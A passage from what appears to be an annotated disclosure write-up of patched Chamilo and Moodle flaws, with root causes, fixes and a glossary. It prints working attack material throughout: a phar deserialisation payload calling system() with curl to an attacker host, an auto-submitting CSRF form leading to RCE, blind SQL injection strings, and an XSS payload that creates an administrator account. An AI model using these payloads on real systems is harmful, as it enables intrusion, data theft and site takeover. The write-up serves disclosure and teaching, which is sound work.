  • <?php __HALT_COMPILER(); ?> is the marker PHP expects at the start of a phar archive. __HALT_COMPILER() tells PHP to stop compiling at that point, which is how the archive format is recognised.
  • The long line of text after it is the serialised object graph: a structured description of objects to create. O:32:"Monolog\Handler\SyslogUdpHandler" means "create an object of this class, whose name is 32 characters long". The nested O:29:"Monolog\Handler\BufferHandler" is another object inside it. The s:33:"curl http://[redacted]:16666/curl" is a string of 33 characters holding the command. The s:6:"system" is the name of the PHP function to call. When PHP deserializes this, it builds those objects, and the gadget chain ends up calling system with the curl command.

The upload of the phar file was verified:

img
img From the original on starlabs.sg

The file can then be found in the /path/to/chamilo/app/courses/<COURSE_CODE>/document/ directory:

img
img From the original on starlabs.sg

With the payload planted, the next step is to find a way to make the server deserialise it.

Chamilo: unsafe deserialisation

An endpoint at /main/document/save_pixlr.php contains the following code. An endpoint is a specific address on a website that does a specific job, like a counter in a shop; here it is the script that saves an image edited in an online paint tool.

PHP
if (!isset($_GET['title']) || !isset($_GET['type']) || !isset($_GET['image'])) {
    echo 'No title';
    exit;
}

$paintDir = Session::read('paint_dir');
if (empty($paintDir)) {
    echo 'No directory to save';
    exit;
}
// ...
$urlcontents = Security::remove_XSS($_GET['image']);
// ...
$contents = file_get_contents($urlcontents);

Line by line:

  • if (!isset($_GET['title']) || !isset($_GET['type']) || !isset($_GET['image'])) { checks that three values arrived in the URL: title, type and image. isset means "is set". The ! means "not", and || means "or". So: if any of the three is missing, do what is inside the braces.
  • echo 'No title'; prints a message.
  • exit; stops the script immediately.
  • $paintDir = Session::read('paint_dir'); reads a value called paint_dir from the user's session. A session is the server's memory of who you are across several requests, usually tied to a cookie, a small piece of data the browser stores and sends back with each request. Think of a session as a coat-check ticket: the browser shows the ticket, the server fetches the coat that belongs to it.
  • if (empty($paintDir)) { checks whether that value is empty.
  • echo 'No directory to save'; and exit; stop the script if it is.
  • $urlcontents = Security::remove_XSS($_GET['image']); takes the image value from the URL and passes it through a cleaning function called remove_XSS, storing the result in $urlcontents.
  • $contents = file_get_contents($urlcontents); asks PHP to fetch whatever $urlcontents points to and put the result in $contents. file_get_contents is a general-purpose reader: it can read a local file, or fetch a web address, depending on what it is given.

The vulnerability is that the user-controlled $urlcontents goes straight into file_get_contents(). That means the user can choose not just a web address but a protocol wrapper. A protocol wrapper is a prefix like http:// or file:// that tells PHP how to interpret what follows. One of them is phar://, which tells PHP: treat the file that follows as a phar archive, and to do that, deserialise it. So by supplying a phar:// address, the attacker makes the server deserialise their uploaded file. The remove_XSS() call only strips < and > characters and can be ignored here. Being able to control the input to file_get_contents() is also an SSRF issue (Server-Side Request Forgery): the server can be made to fetch addresses of the attacker's choosing, because the application does not restrict which URLs are allowed.

The code requires the title, type and image GET parameters and a session variable paint_dir. The session variable can be set by visiting http://CHAMILO_WEBSITE/main/document/create_paint.php, which contains:

PHP
$dir = $document_data['path'];
$is_allowed_to_edit = api_is_allowed_to_edit(null, true);

// path for pixlr save
$paintDir = Security::remove_XSS($dir);
if (empty($paintDir)) {
    $paintDir = '/';
}

Session::write('paint_dir', $paintDir);

Line by line:

  • $dir = $document_data['path']; takes the current document folder's path and stores it.
  • $is_allowed_to_edit = api_is_allowed_to_edit(null, true); asks the application whether the current user is allowed to edit, and stores the answer. The result is not used further in this snippet.
  • // path for pixlr save is a comment.
  • $paintDir = Security::remove_XSS($dir); cleans the path with the same function and stores it.
  • if (empty($paintDir)) { if the result is empty, $paintDir = '/'; sets it to the root folder.
  • Session::write('paint_dir', $paintDir); saves the value into the session under the name paint_dir, so later requests can read it.

In plain words: simply visiting this page gives your session the paint_dir value that the save script insists on. That is why this step is needed before the attack request.

Chaining the bugs

The phar file is already on the server at a known local path. The deserialisation endpoint is called with the URL string phar:///var/www/chamilo/app/courses/C001/document/rce.jpg in the image GET parameter:

Text
http://CHAMILO_WEBSITE/main/document/save_pixlr.php?title=a&type=b&image=phar:///var/www/chamilo/app/courses/C001/document/rce.jpg

Reading it: http://CHAMILO_WEBSITE is the site's address, /main/document/save_pixlr.php is the endpoint, and after the ? come the parameters separated by &. title=a and type=b are dummy values that only need to be present. image=phar:///var/www/chamilo/app/courses/C001/document/rce.jpg is the important one: the phar:// prefix tells PHP to treat the rest as a phar archive, and the rest is the full path to the uploaded file.

This deserializes the phar archive and triggers the command execution payload. On the attacker host:

img
img From the original on starlabs.sg

Browser output:

img
img From the original on starlabs.sg

This confirms remote code execution. A demo of the full chain with a reverse shell payload instead:

img
img From the original on starlabs.sg

A reverse shell is a connection the victim server opens back to the attacker, giving an interactive command prompt on that server.

Chamilo: CSRF leading to RCE

The security administrative page lacks anti-CSRF measures. CSRF, Cross-Site Request Forgery, works like this: you are logged in to a site, your browser holds your session cookie, and you then visit a page controlled by an attacker. That page quietly submits a form to the site you are logged in to. Your browser attaches your cookie automatically, so the site thinks the request came from you. Anti-CSRF measures are defences against this, typically a secret value (a token) that the attacker's page cannot know, which must be included with every state-changing request.

Here, an attacker can craft a CSRF payload that, when triggered by an authenticated administrator, changes the site security settings. One interesting setting is the site-wide blacklist and whitelist, which controls which files may be uploaded. If the attacker can change those lists, they can make the site accept dangerous files.

Chamilo cleans uploaded filenames in /main/inc/lib/fileUpload.lib.php:htaccess2txt(). The notation file:function() means "the function named function inside the file named file". Whenever an uploaded filename is .htaccess, the resulting filename is htaccess.txt:

PHP
function htaccess2txt($filename)
{
    return str_replace(['.htaccess', '.HTACCESS'], ['htaccess.txt', 'htaccess.txt'], $filename);
}

Line by line:

  • function htaccess2txt($filename) declares a function that takes a filename.
  • return str_replace(...) returns the result of a search-and-replace. str_replace takes three things: what to look for, what to put in its place, and the text to work on.
  • ['.htaccess', '.HTACCESS'] is the list of things to look for: the name in lower case and in upper case.
  • ['htaccess.txt', 'htaccess.txt'] is the matching list of replacements: both become htaccess.txt.
  • $filename is the text being worked on.

Why does this matter? A .htaccess file is a configuration file read by the Apache web server that can change how the server behaves in its folder.

The following PoC adds the extension txt to the blacklist and sets the replacement for blacklisted extensions to /../.htaccess. A PoC, proof of concept, is a minimal demonstration that a bug is real.

HTML
<html>
  <body>
    <form action="http://[redacted]/main/admin/settings.php?category=Security" method="POST">
      <input type="hidden" name="upload&#95;extensions&#95;list&#95;type" value="blacklist" />
      <input type="hidden" name="upload&#95;extensions&#95;blacklist" value="txt" />
      <input type="hidden" name="upload&#95;extensions&#95;whitelist" value="htm&#59;html&#59;jpg&#59;jpeg&#59;gif&#59;png&#59;swf&#59;avi&#59;mpg&#59;mpeg&#59;mov&#59;flv&#59;doc&#59;docx&#59;xls&#59;xlsx&#59;ppt&#59;pptx&#59;odt&#59;odp&#59;ods&#59;pdf&#59;" />
      <input type="hidden" name="upload&#95;extensions&#95;skip" value="false" />
      <input type="hidden" name="upload&#95;extensions&#95;replace&#95;by" value="&#47;&#46;&#46;&#47;&#46;htaccess" />
      <input type="hidden" name="permissions&#95;for&#95;new&#95;directories" value="0777" />
      <input type="hidden" name="permissions&#95;for&#95;new&#95;files" value="0666" />
      <input type="hidden" name="openid&#95;authentication" value="false" />
      <input type="hidden" name="extend&#95;rights&#95;for&#95;coach" value="false" />
      <input type="hidden" name="extend&#95;rights&#95;for&#95;coach&#95;on&#95;survey" value="true" />
      <input type="hidden" name="allow&#95;user&#95;course&#95;subscription&#95;by&#95;course&#95;admin" value="true" />
      <input type="hidden" name="sso&#95;authentication" value="false" />
      <input type="hidden" name="sso&#95;authentication&#95;domain" value="" />
      <input type="hidden" name="sso&#95;authentication&#95;auth&#95;uri" value="&#47;&#63;q&#61;user" />
      <input type="hidden" name="sso&#95;authentication&#95;unauth&#95;uri" value="&#47;&#63;q&#61;logout" />
      <input type="hidden" name="sso&#95;authentication&#95;protocol" value="http&#58;&#47;&#47;" />
      <input type="hidden" name="filter&#95;terms" value="" />
      <input type="hidden" name="allow&#95;strength&#95;pass&#95;checker" value="true" />
      <input type="hidden" name="allow&#95;captcha" value="false" />
      <input type="hidden" name="captcha&#95;number&#95;mistakes&#95;to&#95;block&#95;account" value="5" />
      <input type="hidden" name="captcha&#95;time&#95;to&#95;block" value="5" />
      <input type="hidden" name="sso&#95;force&#95;redirect" value="false" />
      <input type="hidden" name="prevent&#95;multiple&#95;simultaneous&#95;login" value="false" />
      <input type="hidden" name="user&#95;reset&#95;password" value="false" />
      <input type="hidden" name="user&#95;reset&#95;password&#95;token&#95;limit" value="3600" />
      <input type="hidden" name="&#95;qf&#95;&#95;settings" value="" />
      <input type="hidden" name="search&#95;field" value="" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
  <script>
      document.forms[0].submit()
  </script>
</html>

Line by line:

  • <html>, <body>, </body>, </html> are the ordinary tags that make up a web page.
  • <form action="http://[redacted]/main/admin/settings.php?category=Security" method="POST"> starts a form. action is where the form is sent: the security settings page. method="POST" means the values are sent in the body of the request rather than in the URL.
  • Each <input type="hidden" ... /> is a field the user does not see. name is the setting's name on the server, value is what will be submitted. Hidden fields are used so the form submits every setting the page expects, not just the ones being changed.
  • name="upload&#95;extensions&#95;list&#95;type" value="blacklist" sets the mode to blacklist.
  • name="upload&#95;extensions&#95;blacklist" value="txt" adds txt to the blacklist.
  • name="upload&#95;extensions&#95;whitelist" value="htm&#59;html&#59;..." sets the whitelist. The &#59; sequences are HTML entities for semicolons, so the browser sends semicolon-separated extensions.
  • name="upload&#95;extensions&#95;replace&#95;by" value="&#47;&#46;&#46;&#47;&#46;htaccess" is the key line. The entities decode to /../.htaccess. This is the text that will replace any blacklisted extension.
  • The remaining hidden fields set other security options to values the form expects, so the submission is accepted as a complete settings update.
  • <input type="submit" value="Submit request" /> is the visible button, present so the form is well formed.
  • <script> document.forms[0].submit() </script> is JavaScript that automatically submits the first form on the page as soon as the page loads. This is what makes the attack work without the victim clicking anything: they only have to open the page.
img
img From the original on starlabs.sg

Since .txt is now blacklisted, it is replaced with /../.htaccess. The final filename is htaccess/../.htaccess, and because only the filename is used, the result is .htaccess:

img
img From the original on starlabs.sg

In plain words: the upload code first turns .htaccess into htaccess.txt to defuse it. But txt is now blacklisted, so the replacement rule kicks in and swaps txt for /../.htaccess. The name becomes htaccess/../.htaccess. The report says the final filename is htaccess/../.htaccess, and since only the filename is used, it gives .htaccess.

A Teacher can then upload a .htaccess file that makes PHP execute with a custom extension (.1337) in the current directory:

Text
AddType application/x-httpd-php .1337

Reading it: AddType is an Apache directive that maps a file type to a handler. application/x-httpd-php is the internal name for "run this as PHP". .1337 is the extension being mapped. The effect: any file ending in .1337 in that folder will be executed as PHP code.

img
img From the original on starlabs.sg

Uploading a PHP file with the .1337 extension:

img
img From the original on starlabs.sg

This allows arbitrary code execution:

img
img From the original on starlabs.sg

Alternatively, phps can be added to the blacklist and blacklisted extensions replaced with php. This works because a second cleaning function, /main/inc/lib/fileUpload.lib.php:php2phps(), handles PHP extensions:

PHP
function php2phps($file_name)
{
    return preg_replace('/\.(phar.?|php.?|phtml.?)(\.){0,1}.*$/i', '.phps', $file_name);
}

Line by line:

  • function php2phps($file_name) declares a function that takes a filename.
  • return preg_replace(...) returns the result of a regex-based replacement. preg_replace takes a pattern, a replacement and the text to work on.
  • The pattern /\.(phar.?|php.?|phtml.?)(\.){0,1}.*$/i breaks down as follows. \. is a literal dot. (phar.?|php.?|phtml.?) is a group matching phar, php or phtml, each optionally followed by one more character (the .?). The | means "or". (\.){0,1} allows an optional extra dot. .*$ allows anything up to the end of the name. The i flag makes it case-insensitive.
  • '.phps' is what the matched part is replaced with.
  • $file_name is the text being worked on.

In plain words: any filename containing a PHP-style extension is rewritten so that extension becomes .phps, which the server will not execute.

img
img From the original on starlabs.sg

Whenever an uploaded file has a .php extension, the resulting filename is .phps. Since .phps is now blacklisted, it is replaced, and the final filename is back to .php. Uploading a PHP webshell named php-backdoor.php then succeeds:

img
img From the original on starlabs.sg

A webshell is a small script uploaded to a server that lets an attacker run commands through the browser, like a remote control for the server.

Direct execution is blocked by the .htaccess in the root directory:

img
img From the original on starlabs.sg

Inspecting that file shows the regex can be bypassed by appending a / to the end of the PHP file to be executed:

Text
# Prevent execution of PHP from directories used for different types of uploads
RedirectMatch 403 ^/app/(?!courses/proxy)(cache|courses|home|logs|upload|Resources/public/css)/.*\.ph(p[3457]?|t|tml|ar)$
RedirectMatch 403 ^/main/default_course_document/images/.*\.ph(p[3457]?|t|tml|ar)$
RedirectMatch 403 ^/main/lang/.*\.ph(p[3457]?|t|tml|ar)$
RedirectMatch 403 ^/web/.*\.ph(p[3457]?|t|tml|ar)$

Line by line:

  • The first line is a comment explaining the purpose: stop PHP from running in folders used for uploads.
  • RedirectMatch 403 is an Apache directive: when a URL matches the pattern that follows, answer with HTTP status 403, which means "forbidden".
  • ^/app/(?!courses/proxy)(cache|courses|home|logs|upload|Resources/public/css)/.*\.ph(p[3457]?|t|tml|ar)$ is the pattern. ^ anchors it to the start of the URL. /app/ is the folder. (?!courses/proxy) is a negative lookahead: do not match if the next part is courses/proxy. The group (cache|courses|home|logs|upload|Resources/public/css) lists the upload-related subfolders. .* allows any filename. \.ph(p[3457]?|t|tml|ar)$ matches a PHP-style extension: ph followed by an optional p and one of 3, 4, 5, 7, or t, tml, ar, and $ anchors it to the end of the URL.
  • The next three lines apply the same rule to the images folder, the language folder and the web folder.

The report says the regex can be bypassed by appending a / at the end of the PHP file to be executed.

img
img From the original on starlabs.sg

The report says this again gives remote code execution capabilities. The key lesson is that several cleaning routines can interact in unintended ways: the file upload cleaning was cancelled out by the site security cleaning.

Chamilo: authenticated blind SQL injection

Four authenticated blind SQL injections were found, all by searching in a Source to Sink manner. "Authenticated" means the attacker must be logged in. "Blind" means the attacker does not see the database output directly; instead they ask the database yes/no questions and watch how the page changes.

One example is in /main/blog/blog.php, where an authenticated student can trigger the bug:

PHP
$blog_id = isset($_GET['blog_id']) ? $_GET['blog_id'] : 0;

// ...

$sql = "SELECT COUNT(*) as number
        FROM ".$tbl_blogs_tasks_rel_user."
        WHERE
            c_id = $course_id AND
            blog_id = ".$blog_id." AND
            user_id = ".api_get_user_id()." AND
            task_id = ".$task_id;

$result = Database::query($sql);
$row = Database::fetch_array($result);

Line by line:

  • $blog_id = isset($_GET['blog_id']) ? $_GET['blog_id'] : 0; reads blog_id from the URL. The ? : is a shorthand if/else: if it is set, use it, otherwise use 0.
  • $sql = "SELECT COUNT(*) as number starts building a database query as a piece of text. SELECT asks the database for data, and COUNT(*) counts rows.
  • FROM ".$tbl_blogs_tasks_rel_user." appends the table name. The dots join pieces of text together.
  • WHERE starts the filter conditions.
  • c_id = $course_id AND filters by course.
  • blog_id = ".$blog_id." AND inserts the user-supplied blog_id directly into the query text. This is the injection point: whatever the user typed becomes part of the database command.
  • user_id = ".api_get_user_id()." AND filters by the logged-in user's ID.
  • task_id = ".$task_id; filters by task.
  • $result = Database::query($sql); sends the finished query to the database.
  • $row = Database::fetch_array($result); fetches the first row of the answer.

The query selects a single Integer column, so a boolean-based blind SQL injection can extract data. The TRUE and FALSE queries are:

TRUE case:

SQL
0 UNION SELECT CASE WHEN 1=1 THEN 1 ELSE (SELECT table_name FROM information_schema.tables) END;-- -
img
img From the original on starlabs.sg

FALSE case:

SQL
0 UNION SELECT CASE WHEN 1=2 THEN 1 ELSE (SELECT table_name FROM information_schema.tables) END;-- -
img
img From the original on starlabs.sg

Line by line:

  • 0 is the value injected in place of blog_id. It is a number, so the query stays syntactically valid.
  • UNION SELECT joins a second result onto the first. UNION means "combine the results of two queries".
  • CASE WHEN 1=1 THEN 1 ELSE (SELECT table_name FROM information_schema.tables) END is a conditional. If the condition is true, return 1. If false, run the subquery. information_schema.tables is a built-in catalogue listing every table in the database, so the subquery returns many rows, which is an error in this context.
  • -- - is a comment marker in SQL, so the rest of the original query is ignored. The trailing space and dash are a common way to make sure the comment is recognised.

In the TRUE case, 1=1 is true, so the query returns 1. In the FALSE case, 1=2 is false, so the subquery runs. The report says different responses are shown for the two cases.

Because the responses differ, an automated script can leak arbitrary subqueries character by character. To leak SELECT USER();, the payload looks like:

SQL
0 UNION SELECT CASE WHEN (SELECT SUBSTR((SELECT USER()),1,1))='c' THEN 1 ELSE (SELECT table_name FROM information_schema.tables) END;-- -

Line by line:

  • SELECT USER() asks the database for the name of the current database user.
  • SUBSTR((SELECT USER()),1,1) takes one character from that name, starting at position 1, length 1, so the first character.
  • ='c' compares that character with c.
  • The rest is the same true/false trick: if the character is c, return 1 and the page is normal; otherwise the subquery runs and the page errors.
img
img From the original on starlabs.sg

This is a TRUE output, meaning the first character of SELECT USER() is c. By repeating this for each position, an automated script can leak the output of arbitrary subqueries character by character.

Three similar instances were found at /main/forum/download.php (Student), /main/inc/ajax/exercise.ajax.php (Teacher) and /main/session/session_category_list.php (Session Admin).

Chamilo: reflected XSS

Reflected XSS means the attacker's input is sent to the server and immediately echoed back into the page, so the script runs in the victim's browser when they open a crafted link. It is "reflected" because the input bounces straight back, like a mirror.

The remove_XSS() function only strips the < and > characters, which gives developers a false sense of safety: XSS is still possible after input passes through it.

In /index.php, the value of the HTTP parameter firstpage is passed directly into remove_XSS() as its only argument, and the return value is inserted directly into a <script> tag. The input ';alert(1);// is used for tracing.

Source: /index.php

img
img From the original on starlabs.sg

The definition of security.lib.php::remove_XSS() takes two additional optional parameters, $user_status and $filter_terms. $filter_terms defaults to false, so the if clause on line 305 is never entered when the function is called with one argument.

Source: /main/inc/lib/security.lib.php

img
img From the original on starlabs.sg

Before returning, remove_XSS() passes the input to HTMLPurifier:

img
img From the original on starlabs.sg

HTMLPurifier is a well-known library whose job is to clean HTML so that only safe tags and attributes remain. The problem is that it is being used on a plain string that will later be placed inside a JavaScript context, not on HTML. It is meant to sanitise HTML elements, not pure strings. Single and double quotes are therefore not sanitised, which leaves the PoC payload intact:

Source: /vendor/ezyang/htmlpurifier/library/HTMLPurifier.php

img
img From the original on starlabs.sg

The XSS payload triggers:

img
img From the original on starlabs.sg

The sanitisation does encode <> to prevent arbitrary HTML tags:

img
img From the original on starlabs.sg

Several instances of the same pattern exist, for example:

Source: /main/session/add_users_to_session.php

img
img From the original on starlabs.sg

Payload: " onfocus="alert(document.domain)" name="pwn", with #pwn appended to the URL

img
img From the original on starlabs.sg

Source: /main/auth/profile.php

img
img From the original on starlabs.sg

Payload: " onfocus="alert(document.cookie)" name="pwn"//, with #pwn appended to the URL

img
img From the original on starlabs.sg

Moodle: reflected XSS (CVE-2021-43558)

Moodle reads HTTP parameters through required_param() or optional_param() together with a cleaning type. In /admin/tool/filetypes/revert.php, the extension parameter is passed into $extension with PARAM_RAW, so no cleaning happens before it reaches get_string():

PHP
$extension = required_param('extension', PARAM_RAW);
// ...
$message = get_string('revert_confirmation', 'tool_filetypes', $extension);
// ...
echo $OUTPUT->confirm($message, $yesbutton, $nobutton);

Line by line:

  • $extension = required_param('extension', PARAM_RAW); reads the extension parameter and, because the type is PARAM_RAW, does no cleaning.
  • $message = get_string('revert_confirmation', 'tool_filetypes', $extension); builds a message. get_string looks up a text template by name and fills in the value.
  • echo $OUTPUT->confirm($message, $yesbutton, $nobutton); prints a confirmation page with the message and two buttons.

Inside get_string(), the value becomes the local variable $a:

PHP
function get_string($identifier, $component = '', $a = null, $lang = null) {
    $string = $this->load_component_strings($component, $lang); // $string = "Are you sure you want to restore <strong>.{$a}</strong> to Moodle defaults, discarding your changes?"

    // ...

    $string = str_replace('{$a}', (string)$a, $string);
    return $string;
}

Line by line:

  • function get_string($identifier, $component = '', $a = null, $lang = null) { declares the function. The = '' and = null parts are default values used when the caller does not supply them.
  • $string = $this->load_component_strings($component, $lang); loads the text template for the component. The comment shows what the template looks like: a sentence with <strong>.{$a}</strong> in the middle, where {$a} is a placeholder.
  • $string = str_replace('{$a}', (string)$a, $string); replaces the placeholder with the value, converted to a string.
  • return $string; returns the finished text.

The string is not cleaned; it is substituted into a preset template and returned. The extension parameter can therefore be <script>alert(document.cookie)</script>, which triggers XSS because the input is reflected directly in the HTML response.

img
img From the original on starlabs.sg

Assuming the victim is an authenticated administrator, the following single-line payload changes the site administrator to a custom user with the credentials xss:xss:

JavaScript
<script>var xhr=new XMLHttpRequest();xhr.open("POST","/user/editadvanced.php",true);xhr.setRequestHeader("Content-Type","application/x-www-form-urlencoded");xhr.withCredentials=true;var body="sesskey="%2Bdocument.getElementsByTagName("input")[1].value%2B"%26_qf__user_editadvanced_form=1%26username=xss%26newpassword=xss%26firstname=Created%2Bvia%26lastname=XSS%26email=xss%40moodle.test%26submitbutton=Create%2Buser";var aBody=new Uint8Array(body.length);for(var i=0;i<aBody.length;i%2B%2B)aBody[i]=body.charCodeAt(i);xhr.send(new Blob([aBody]));</script>

Line by line:

  • <script> and </script> mark the start and end of JavaScript that the browser will run.
  • var xhr=new XMLHttpRequest(); creates an XMLHttpRequest, the browser object used to send requests from JavaScript without reloading the page.
  • xhr.open("POST","/user/editadvanced.php",true); prepares a POST request to the user-editing page. The true means "do it in the background".
  • xhr.setRequestHeader("Content-Type","application/x-www-form-urlencoded"); tells the server the body is form data, the same format a normal form submission uses.
  • xhr.withCredentials=true; tells the browser to include cookies with the request, so the request carries the administrator's session.
  • var body="sesskey="%2Bdocument.getElementsByTagName("input")[1].value%2B"%26_qf__user_editadvanced_form=1%26username=xss%26newpassword=xss%26firstname=Created%2Bvia%26lastname=XSS%26email=xss%40moodle.test%26submitbutton=Create%2Buser"; builds the request body as a string. %2B is the URL-encoded form of +, which in JavaScript joins strings, and %26 is the encoded form of &, which separates form fields. The first part reads the value of the second <input> on the page, which is the sesskey. The rest sets the form marker, the username xss, the password xss, the first name Created via, the last name XSS, an email address, and the submit button value.
  • var aBody=new Uint8Array(body.length); creates a byte array the same length as the body.
  • for(var i=0;i<aBody.length;i%2B%2B)aBody[i]=body.charCodeAt(i); copies each character's numeric code into the byte array. %2B%2B is the encoded form of ++, which increments the counter.
  • xhr.send(new Blob([aBody])); sends the body as a binary blob, which is a way of packaging raw bytes for sending.

The payload grabs the user's sesskey, an anti-CSRF measure, and submits the POST request needed to change the site administrator.

The administrative panel showing the user list before the payload:

img
img From the original on starlabs.sg

After the payload, the site administrator has been replaced with the Created via XSS user:

img
img From the original on starlabs.sg

The report says this gives ownership of the Moodle instance.

Root cause

The Chamilo upload flaw is an extension-only check: the application never verifies that an uploaded image really is an image, so any file with a non-blacklisted extension is accepted. The deserialisation flaw is the direct use of user input in file_get_contents(), which allows the phar:// wrapper to deserialise a local file. The CSRF flaw is the absence of anti-CSRF measures on the security administrative page. The SQL injection is string concatenation of $blog_id into the query. The XSS flaws come from remove_XSS() being used on strings that end up in HTML or JavaScript contexts, with HTMLPurifier applied in a way that leaves quotes intact.

The CSRF chain shows a design-level problem: two cleaning routines interact. htaccess2txt() rewrites .htaccess to htaccess.txt, and php2phps() rewrites .php to .phps, but the configurable blacklist replacement can turn those rewritten names back into dangerous ones. The .htaccess in the web root blocks PHP execution in upload directories, but its regex can be bypassed by appending a /.

In Moodle, the root cause is PARAM_RAW on the extension parameter combined with get_string() substituting the value into a template without escaping. Escaping means converting characters that have special meaning into harmless equivalents, so they are displayed rather than interpreted.

Impact

In Chamilo, the upload and deserialisation chain gives remote code execution to a Teacher who can upload to a course Documents section. The CSRF chain lets an attacker change the upload blacklist and replacement settings when an authenticated administrator triggers the payload, after which a Teacher can upload a dangerous file. Four authenticated blind SQL injections were found, reachable by a student, a teacher and a session admin. The reflected XSS runs script in the context of a victim whose input is reflected.

In Moodle, the reflected XSS can be used against an authenticated administrator to create a new administrator account, giving the attacker ownership of the Moodle instance.

Fix

All findings were patched by the vendors. Chamilo patches were pushed to GitHub on 05-Aug-2021 and 19-Aug-2021. Moodle patches were pushed on 06-Nov-2021.

Variants to test

  1. Extension-only upload checks: upload a phar or PHP file with an image extension and see whether it is stored and reachable at a predictable path. A positive result is the file appearing in the course Documents directory.
  2. file_get_contents() with user input: try the phar:// wrapper in parameters that feed file reads. A positive result is a phar payload executing.
  3. Configurable blacklist replacement: on LMS platforms with admin-configurable upload settings, set the replacement string to a path traversal such as /../.htaccess and upload a file whose extension is blacklisted. A positive result is the uploaded filename resolving to .htaccess. Path traversal means using .. to climb out of the intended folder.
  4. .htaccess regex bypass: append / to a PHP file URL in a directory blocked by RedirectMatch. A positive result is the request no longer being blocked by the RedirectMatch rule.
  5. PARAM_RAW in Moodle: search for _param(...PARAM_RAW) and trace the value into output functions such as get_string(). A positive result is the value reflected into the HTML response without escaping.
  6. remove_XSS() in Chamilo: pass quote-based payloads such as " onfocus="alert(1)" name="pwn" into parameters reflected in HTML attributes. A positive result is the payload reflected intact in the HTML attribute.

Glossary

  • API: a defined way for one piece of software to talk to another, like a service counter with fixed rules about what you can ask for.
  • Blacklist: a list of things that are forbidden, as opposed to a whitelist of things that are allowed.
  • Blind SQL injection: an SQL injection where the attacker cannot see the database output directly and instead infers it from yes/no differences in the page.
  • Cookie: a small piece of data a website stores in your browser and your browser sends back with each request, often used to identify your session.
  • CSRF (Cross-Site Request Forgery): tricking a logged-in user's browser into sending a request the user did not intend, using the browser's automatic cookie sending.
  • CVE: a public catalogue number given to a known vulnerability so people can refer to it unambiguously.
  • Deserialisation: turning stored data back into live program objects; the reverse of serialisation.
  • Docker: a tool that packages software with everything it needs so it runs the same way on any computer.
  • Endpoint: a specific address on a website that does a specific job.
  • Escaping: converting characters that have special meaning into harmless equivalents so they are displayed rather than interpreted.
  • Extension: the part of a filename after the last dot, such as .jpg or .php, telling the server what kind of file it is.
  • Gadget: a piece of an application's own code that, when woken up during deserialisation, ends up doing something useful to an attacker.
  • GET: a way of sending data to a website by putting it in the URL.
  • HTMLPurifier: a library that cleans HTML so that only safe tags and attributes remain.
  • HTTP: the protocol browsers and web servers use to exchange requests and responses.
  • Insecure deserialisation: deserializing data without checking it is safe, which can let an attacker run their own code.
  • JavaScript: small programs that run in the browser and can change the page, read cookies and send requests.
  • LMS (Learning Management System): software a school or company uses to run online courses, holding materials, uploads and an admin area.
  • Path traversal: using .. in a file path to climb out of the intended folder.
  • PHP: a programming language commonly used for websites.
  • PHPGGC: a tool that builds phar archives out of existing code in a target application.
  • Phar: a PHP archive, a single file that can bundle several files together, similar in spirit to a zip file.
  • POST: a way of sending data to a website in the body of a request rather than in the URL.
  • Protocol wrapper: a prefix like http://, file:// or phar:// that tells PHP how to interpret what follows.
  • RCE (Remote Code Execution): the ability to make a server run commands of the attacker's choosing.
  • Regex (regular expression): a way of describing a text pattern so a search tool can find every line that matches it.
  • Reverse shell: a connection the victim server opens back to the attacker, giving an interactive command prompt on that server.
  • Session: the server's memory of who you are across several requests, usually tied to a cookie.
  • Sink: a function in code that does something powerful, such as running a system command.
  • Source: the place where user input enters the application.
  • SSRF (Server-Side Request Forgery): making the server fetch addresses of the attacker's choosing.
  • Token: a secret value included with a request to prove it came from the real page, used as an anti-CSRF measure.
  • Webshell: a small script uploaded to a server that lets an attacker run commands through the browser.
  • Whitelist: a list of things that are allowed, as opposed to a blacklist of things that are forbidden.
  • Wrapper: a function that does a job on your behalf, often adding checks, so the rest of the code does not have to repeat them.
  • XSS (Cross-Site Scripting): getting your own JavaScript into a page other people view, so it runs in their browser; reflected XSS bounces the input straight back from the server.

More by Poh Jia Hao

View all

1 more disclosed report, best first.

Similar reports

View all

Same bug class and techniques, clearest first.

Remote code execution

The lesson behind this report.

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.